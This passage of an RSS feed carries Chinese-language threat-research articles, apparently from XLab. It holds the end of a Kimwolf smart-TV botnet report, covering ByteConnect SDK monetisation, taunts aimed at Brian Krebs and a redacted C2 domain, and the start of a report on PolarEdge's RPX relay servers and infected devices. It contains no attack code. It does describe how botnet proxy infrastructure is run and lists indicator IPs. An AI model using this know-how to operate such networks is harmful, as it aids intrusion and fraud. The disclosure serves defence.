class="code-snippet__number">443</span></span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">2: ByteConnect SDK</span></span></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">所谓ByteConnect SDK 是一款变现解决方案，可帮助开发者在各种平台上通过应用程序创收，他们宣称自己的 SDK 设计轻巧、安全，易于集成，它无广告，无加密货币挖矿，不影响性能，对用户体验的影响极小，用户甚至不会察觉到它的存在。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000694" alt="kimwolf_byteconnect.png" class="rich_pages wxw-img" data-ratio="0.45318352059925093" data-type="png" data-w="1335" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=55d06319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMnxSCLAdJtE04icayvMaulJBicLbg9oTmDpiadF8ibqvDEbe6Kv7ziclpJkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Downloader脚本下载的mreo12正是ByteConnect SDK。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000695" alt="kimwolf_bc.png" class="rich_pages wxw-img" data-ratio="0.20031176929072486" data-type="png" data-w="1283" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3ea85a6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMqRL99brONyTmOFSrcaxctKJnwNibM5CzPk25ftoRjVXicQ7twQfMhOdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">ByteConnect的主页有一个收入计算公式：1万个接入点客，70% Opt-in Rate，每月将有490美元的收入。以Kimwolf 180万的规模来说，其背后的组织每月通过ByteConnect赚取的惊人的88200美元。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000696" alt="kimwolf_money.png" class="rich_pages wxw-img" data-ratio="0.7892857142857143" data-type="png" data-w="840" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb92168f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YM5Kvrf8UzP3mJs92vXtdgt2bpz1EwichRBAj2AZn5JpKib9Dm6ESB6RxA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">小小八卦</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">调查发现，Kimwolf的作者对知名网络安全调查记者Brian Krebs表现出近乎“痴迷”的执念，在多个样本中留下与他相关的彩蛋。</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本2078af54891b32ea0b1d1bf08b552fe8中，其udp_dns与mc_enc攻击方法中均嵌入了域名</span><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">fuckbriankrebs[.]com</span></span></strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，用于生成DNS查询载荷。</span></p></li></ul><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本<span textstyle="" style="font-weight: normal;">1c03d82026b6bcf5acd8fc4bcf48ed00</span>的控制台输出中，更是直接出现了 </span><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">KREBSFIVEHEADFANCLUB </span></strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">字样，直译为<span textstyle="" style="font-weight: bold;"> “Krebs大脑门粉丝俱乐部”</span>，哈哈，妥妥的“黑粉”行为。</span></p></li></ul><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">除了这种直接的“致敬”，还有隐藏更深的“爱”。我们接管的C2域名<span textstyle="" style="font-weight: normal;">fuckyoukrebs1.briankrabs.seanobrien[redacted]ssn[redacted].su</span>，除了明面上Krebs俩次，这一域名还暗藏玄机：</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: normal;">seanobrien[redacted]</span></span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">对应的可能是<span textstyle="" style="font-weight: bold;">Krebs的实际住址</span>，</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: normal;">ssn[redacted]</span></span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">则可能是其<span textstyle="" style="font-weight: bold;">社会安全号码</span>。如此行为，堪称网安世界的“私生饭”，着实让人发憷。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">总结</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这是我们目前掌握的Kimwolf僵尸网络的大部分情报。巨型僵尸网络始发于2016年的mirai，感染的目标主要集中在家庭宽带路由器，摄像头等IoT设备上。然而近年来 Badbox、Bigpanzi、Vo1d、Kimwolf等多个百万级巨型僵尸网络信息被披露，表明部分攻击者开始将注意力转向多款智能电视、电视盒子。这些设备普遍存在固件漏洞、预装恶意组件、弱口令以及缺乏安全更新机制等问题，极易被攻击者长期控制并用于大规模网络攻击。我们披露本次Kimwolf僵尸网络的动机之一，就是呼吁安全社区对智能电视相关设备给予应有的重视。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">智能电视被攻击者拿到root权限后，带来的攻击不限于传统的网络空间，攻击者可以利用受控终端插播被篡改、有偏向或者极端视频，在许多国家的法律体制中，未经书面许可插播内容是破坏了观众和电视节目供应商的契约，是违法行为。例如，美国华盛顿特区 HUD 总部的电视设备曾被黑客篡改并播放一段未经授权的 AI 伪造视频（内容为特朗普亲吻马斯克脚趾，并附带</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">LONG LIVE THE REAL KING</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">字样），引发了显著的公共安全与舆论风险，等等。这是我们披露本次Kimwolf僵尸网络的动机之二，呼吁执法机构考虑对此类对智能电视相关的涉嫌违法行为加以审查。</span></p><figure><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img alt="imags" class="rich_pages wxw-img" data-imgfileid="100000698" data-ratio="0.5714285714285714" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:16px;margin:0px;padding:0px;vertical-align:middle;" data-type="png" data-w="1120" src="https://wechat2rss.xlab.app/img-proxy/?k=8de96bee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMMdtiabHluuLZ2oJVM7rec1B1mYSNcMTaBAMHaib9o7y8cIagzZOx6pHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure></figure><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在多重威胁叠加的背景下，无论是普通电视盒子用户、销售渠道、运营商，还是监管部门与厂商，都必须高度重视电视盒子的安全。其中，电视盒子用户尤其应当：确保设备来源可靠、使用可及时更新的固件、避免设置弱密码，并拒绝安装来路不明的 APK，以降低被僵尸网络感染和操控的风险。</span></p><p><span leaf="">如果您对我们的研究感兴趣，或了解与Kimwolf相关的线索，欢迎通过微信公众号留言与我们联系。</span></p><p><span leaf="">关心IOC的读者，可点击下文的<span textstyle="" style="font-weight: bold;">阅读原文</span>，移步至XLAB官方博客原文的IOC章节以获取更多内容。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/kimwolf-botnet/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=036966fb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484350%26idx%3D1%26sn%3D6d6f2bf868e99711010ce5700e4faf9f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 17 Dec 2025 12:54:00 +0800</pubDate>
    </item>
    <item>
      <title>锁定ORB网络PolarEdge的关键拼图: RPX中继系统浮出水面</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484193&amp;idx=1&amp;sn=124dd2a159bf6d40fba8d4a5d01588f4</link>
      <description>背景介绍2025年5月30日，奇安信Xlab大网威胁感知系统监测到IP地址 111.119.223.196正在</description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-10-29 11:37</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5646ca07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkoclMT7ibO8Yd2fS1jCIjqrns6JeGw49V6TMCjNFxoMVLD9SicIWtnGcA%2F0%3Fwx_fmt%3Djpeg"/></p>


<p><span leaf=""><span textstyle="" style="font-size: 24px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-weight: bold;">背景介绍</span></span></p><p><span leaf="">2025年5月30日，<span textstyle="" style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-weight: bold;">奇安信Xlab大网威胁感知系统</span>监测到IP地址 111.119.223.196正在传播一个名为“w”的ELF文件。AI检测模块将其标注为与PolarEdge相关，而该文件在VirusTotal上的检测结果为零。这一发现引发了PolarEdge是否已悄然启动新一轮活动的猜测。带着好奇，我们展开了深入调查。经过一系列关联分析，一个此前从未被公开记录的组件RPX_Client浮出水面。该组件的主要功能是将受控设备接入指定C2节点的代理池，为其提供代理服务，并支持远程命令执行。</span></p><p><span leaf="">PolarEdge由<span textstyle="" style="font-weight: bold;">法国安全厂商Sekoia</span>于2025年2月25日首次披露。该威胁利用存在漏洞的IoT，边缘网络设备，并结合购买的VPS，疑似构建一个“运营中继盒子”（Operational Relay Boxes, ORB）网络，用以协助实施各类网络犯罪活动。ORB网络在功能上类似住宅代理，它的核心目标并非直接实施破坏性攻击，而是致力于长期潜伏与流量混淆，属于典型的基础服务型恶意架构。</span></p><p><span leaf="">ORB网络在规避检测，隐藏网络攻击的来源，复杂化归因分析等方面的突出表现，让其倍受APT级攻击者的青睐，是2025年网络安全领域的热点之一。针对ORB网络的这一特性，安全厂商Mandiant甚至提出了 &#34;ORB兴起，IOC消亡&#34;的观点，认为ORB网络可能削弱传统威胁指标（IOC）在攻击检测与活动归因中的有效性。</span></p><p><span leaf="">2025年8月和9月，<span textstyle="" style="font-weight: bold;">美国资产测绘厂商Censys</span>先后发布了两篇关于PolarEdge的研究报告，他们过证书关联重点分析了一大批基础设施。在9月23日的报告中，Censys披露了一个名为RPX_SERVER的服务端程序，核心功能是充当反向连接代理网关。但因被告知相关证书并非攻击者独有，<span textstyle="" style="font-weight: bold;">Censys对于将这些设施以及RPX_Server与PolarEdge明确关联的信心有所下降</span>。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000544" data-ratio="0.1392884178652536" data-s="300,640" type="block" data-type="png" data-w="1321" src="https://wechat2rss.xlab.app/img-proxy/?k=bfec75ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNk5LJ3TiafhdibCjdk7QbCjgUGGACLR0XHkw2TOWwE7vyHZUvqVkPk0Shw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">然而，<span textstyle="" style="font-weight: bold;">从Xlab的视角来看</span>，我们有极高的信心将Censys原始报告中提及的部分使用PolarSSL测试证书的基础设施以及RPX_Server归因于PolarEdge。这一判断主要<span textstyle="" style="font-weight: bold;">基于此次捕获的RPX_Client样本所带来的独特情报</span>，具体依据如下：</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf="">传播RPX_Client的脚本的编码风格，以及ELF样本w与已知的PolarEdge样本呈现出明显的同源特征。</span></p></li><li><p><span leaf="">RPX_Client与RPX_Server在功能上高度契合，正如其命名所示，二者构成了典型的客户端-服务器关系。</span></p></li><li><p><span leaf="">在一个RPX_Server的数据库中发现了通过111.119.223.196传播RPX_Client的记录。</span></p></li><li><p><span leaf="">部分使用PolarSSL测试证书的服务器能够正确处理RPX_Client的请求，这些服务器上部署了RPX_Server实例。</span></p></li></ul><p><span leaf="">RPX_Server与RPX_Client的相继发现，使我们有机会更深入地探究PolarEdge背后的中继运行机制、基础设施。<span textstyle="" style="font-weight: bold;">成果是喜人的，在运行机制层面，我们逐步摸清了PolarEdge如何借助RPX_Server、Go-Admin与Nginx实现节点管理与业务分发；在基础设施层面，目前已识别出140个C2服务器，并发现总计超过25000个感染节点IP</span>。然而必须承认，任何单一厂商的监测视野都存在其局限性，对一项威胁的透彻解析往往离不开行业内的广泛协作。为更好地研究PolarEdge这一ORB网络，我们决定撰写本文向社区分享相关发现，<span textstyle="" style="font-weight: bold;">希望Sekoia、Censes、Xlab的研究成果能够为后续对PolarEdge的深入探索奠定基础</span>。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">第一部分：基础设施 与 感染规模</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">140个命令与控制服务器</span></span></p><p><span leaf="">我们通过不同时间段的脚本q捕获了10个的RPX Server IP，它们都使用55555端口，该端口共享同一个公开的PolarSSL测试证书。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="206" data-backw="578" data-imgfileid="100000504" data-ratio="0.3560111835973905" data-s="300,640" type="block" data-type="png" data-w="1073" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ef382e3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkgyDwya3MAGmMeRhtl51tJK348Tibj9Cyk0GNtQTd1ZicADPycfkLf2YA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">以证书+ 端口55555这一模式作为特征，通过奇安信网络空间测绘系统鹰图平台，我们初步识别出161个IP，再基于逆向工程所得的通信协议对这批资产进行了验证，确认其中140个IP为可正常交互的有效RPX Server。(注：目前，IP 8.219.214.27虽然无法正常交互，但通过与其他数据比对，我们确认该IP仍属于RPX服务器。）</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="177" data-backw="578" data-imgfileid="100000518" data-ratio="0.3056506849315068" data-s="300,640" type="block" data-type="png" data-w="2336" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=802bb72a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkVcBvvvYibOCJREnib3qxB8pCQpYqjYuSX0oIQ9x5kcsm9uo1GSjl9kicQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这140个Server本身也呈现很有意思的特征，它们都是VPS节点，集中分布在ASN45102，ASN37963，ASN132203，隶属于阿里云和腾讯云。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="143" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/I28micxvFPbiafDh42kDjL83z6NibX1BeNkiaD2b8epBobSkKPOBd43hsdxkSSjZeCqDrfoqfIqafoSJU6Jy6t5FDQ/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="578" data-cropsely2="138" data-imgfileid="100000501" data-ratio="0.24745762711864408" data-s="300,640" style="width:100%;" data-type="png" data-w="885" src="https://wechat2rss.xlab.app/img-proxy/?k=e6f56e66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkiaD2b8epBobSkKPOBd43hsdxkSSjZeCqDrfoqfIqafoSJU6Jy6t5FDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">通过逆向，我们也发现了API接口可将这些服务器代理池中的节点生成clash配置文件供各类攻击者或某个特定活动使用。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="378" data-backw="578" data-imgfileid="100000507" data-ratio="0.653156146179402" data-s="300,640" type="block" data-type="png" data-w="1505" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d4b966c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkDqtMI9Z7F33vZ6gq9dwlVfpxibr5IQiawDk8gbhicKsWbXgqLH0BrIqJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">25000个被感染的IoT &amp; 路由器</span></span></p><p><span leaf="">通过技术手段，我们获取了部分RPX客户端数据集。数据涵盖IP、brand、createAt、onlineTime等字段，使我们能够从感染规模、地理分布及设备类型等多个维度，对PolarEdge RPX进行深入分析。</span></p><p><span leaf="">统计数据显示，自2024年7月以来，已累计感染超过25,000个IP，且感染规模呈现持续上升趋势。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="307" data-backw="578" data-imgfileid="100000508" data-ratio="0.5311764705882352" data-s="300,640" type="block" data-type="png" data-w="1700" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a521356d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkicMqxsvjlr5wsN7icFwFrQV0ZTd2AORicb7nicn2dv20V0GLA5RJIT9Lmw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span 